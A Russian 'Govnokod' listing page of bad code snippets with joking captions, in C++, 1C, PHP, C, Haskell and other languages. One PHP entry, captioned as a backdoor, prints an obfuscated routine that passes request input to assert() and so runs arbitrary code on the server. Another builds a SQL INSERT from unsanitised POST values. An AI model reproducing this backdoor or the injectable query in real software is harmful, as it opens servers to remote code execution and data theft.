1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #25577

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    // https://github.com/QWalk/mainline/blob/b12ea3652226caef23c2f5fc7b168746c89096f2/src/system/Pseudopotential_so.cpp#L36
    
    doublevar legendre_so(doublevar x, int n)
    {
      switch(n)
      {
      case 0:
        return 1;
      case 1:
        return x;
      case 2:
        return .5*(3*x*x-1);
      case 3:
        return .5*(5*x*x*x - 3*x);
      case 4:
        return 0.125*(35*x*x*x*x -30*x*x +3);
      case 5:
        return 0.125*(63*x*x*x*x*x - 70*x*x*x + 15*x);
      default:
        error("Do not have legendre polynomial of order ", n);
        return 0; //shouldn't get here, but gets rid of a compiler message
      }
    }

    Вот нет чтоб через шаблоноговно нагенерировать эти свои многочлены Лагранжа.

    https://en.wikipedia.org/wiki/Legendre_polynomials#Rodrigues'_formula_and_other_explicit_formulas

    Интересно, сколько строк шаблоноговна на это придется потратить?
    И вообще, надо чтоб гомоиконность!

    j123123, 29 Апреля 2019

    Комментарии (32)
  3. 1C / Говнокод #25568

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Функция ПолучитьСтавкуНДС(СуммаСНДС, НДС)
    	Если НДС = 0  Тогда
    		Возврат Перечисления.СтавкиНДС.БезНДС;
    	ИначеЕсли СуммаСНДС = 0 Тогда //некорректные данные
    		Возврат Перечисления.СтавкиНДС.БезНДС;
    	ИначеЕсли НДС / СуммаСНДС <= 0.152+0.0152 и НДС / СуммаСНДС >= 0.152-0.0152 Тогда
    		Возврат Перечисления.СтавкиНДС.НДС18;
    	ИначеЕсли НДС / СуммаСНДС <= 0.091+0.0091 и НДС / СуммаСНДС >= 0.091-0.0091 Тогда
    		Возврат Перечисления.СтавкиНДС.НДС10;
    	КонецЕсли;
    КонецФункции

    Костыль костыльный

    sandvich, 24 Апреля 2019

    Комментарии (32)
  4. PHP / Говнокод #25510

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function b($d,$a){
    		if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
    			$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
    			$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
    			if(isset($_REQUEST['s'.md5('bgdfgt')])){
    				if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
    			}
    			return true;
    		}
    		return false;
    	}
    	
    	
    	$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));

    Закладочка

    straga_coda, 04 Апреля 2019

    Комментарии (32)
  5. C++ / Говнокод #25347

    −3

    1. 1
    for (i=1; i<=n-k+1; i++) { for (j=k; j<=n+1-i; j++) printf("%d", j); printf("\n"); k++; n++; } }

    Из студенческих лабораторных.
    Что делает - догадайтесь сами =)

    vt244, 01 Февраля 2019

    Комментарии (32)
  6. Си / Говнокод #25334

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    void add_SSE(uint8_t a[static 7], uint8_t b[static 7], uint8_t out[static 7])
    {
      uint64_t a_64 = 0;
      uint64_t b_64 = 0;
      for (size_t i = 0; i < 7; i++) // можно наанроллить
      {
        a_64 |= (uint64_t)a[i] << (i*9);
        b_64 |= (uint64_t)b[i] << (i*9);
      }
      
      uint64_t c_64 = a_64 + b_64;
      
      for (size_t i = 0; i < 7; i++) // можно наанроллить
      {
        out[i] = (uint64_t)c_64 >> (i*9);
      }
    }

    SSE

    j123123, 28 Января 2019

    Комментарии (32)
  7. 1C / Говнокод #24935

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Писал значит обмен ну там по http запросами и прочим говном на 1С между сайтом на битриксе и самой базой.
    Сидел и думал, каким форматом обмениваться
    Эти ссаные phpшники из центральной россии предлагали JSON и CSV.
    А я подумал, и подумал что не хочу слишком банально. Написал сериализацию с 1С в lua, и обмениваюсь lua.
    эти phpшные хуйни в шоке, ведь у них нет такого десериализатора. Жду от них результата уже джва года.

    ух какой я злодей.

    3oJIoTou_xyu, 18 Октября 2018

    Комментарии (32)
  8. Куча / Говнокод #24723

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    Установил вчера вечером OpenSuse Leap 15.0 в VirtualBox.
    В инет сейчас выход только через USB модем от МТС (он же Huawei).
    Сутки потратил на чтение и эксперименты по пробросу модема в виртуалку.
    Дали архив с программой МТС Коннект под Linux.
    Устанавливал (с ручной доставкой зависимостей на чистую систему) драйвер из этого пакета,
    пробовал расшарить из винды адаптер USB на другие интерфейсы. 
    Ничего не помогало.
    
    И тут, я подключил модем к виртуалке и случайно ткнул в апплет "Network Manager", 
    который предложил установить мне соединение через модем.
    Пару кликов, и всё заработало. Он даже знал, какую точку доступа надо юзать. 
    Не предложив даже вбить телефонный номер (модем всё-же).
    
    То бишь, мастдай глубоко sosnool?

    OlegUP, 05 Сентября 2018

    Комментарии (32)
  9. PHP / Говнокод #24137

    −4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    <?php
    include_once "config.php";
    
    if(isset($_POST['username'])) $username = $_POST['username'];
    if(isset($_POST['password'])) $level = $_POST['password'];
    if(isset($_POST['mail']))     $mail = $_POST['mail'];
    if (isset($username) && isset($password) && isset($mail)){ 
       $sql = mysql_query("INSERT INTO 'gamedata' (id, username, password, mail) VALUES (NULL, '$username', '$password', '$mail')");
       }
    
    ?>

    Я тут вам покушать принёс. Но не просто так, а с вопросом: почему этай хуйня не записывается в базу?

    retrouretra, 16 Апреля 2018

    Комментарии (32)
  10. Haskell / Говнокод #23859

    +6

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    data Foo a = Foo {a :: a, b :: Int}
               | Bar {b :: Int}
    
    foo :: (a -> b) -> Foo a -> Foo b
    foo f x@Foo{a = a} = x{a = f a}
    foo _ x@Bar{} = x   -- error: Couldn't match type ‘a’ with ‘b’
    foo _ x@Bar{} = x{} -- error: Empty record update

    Рекорды всё-таки дубовые

    cast @HaskellGovno

    CHayT, 03 Марта 2018

    Комментарии (32)
  11. C++ / Говнокод #23679

    +1

    1. 1
    https://habrahabr.ru/post/347688/

    Ученые выяснили, что плюсы медленнее си.

    g0cTb, 28 Января 2018

    Комментарии (32)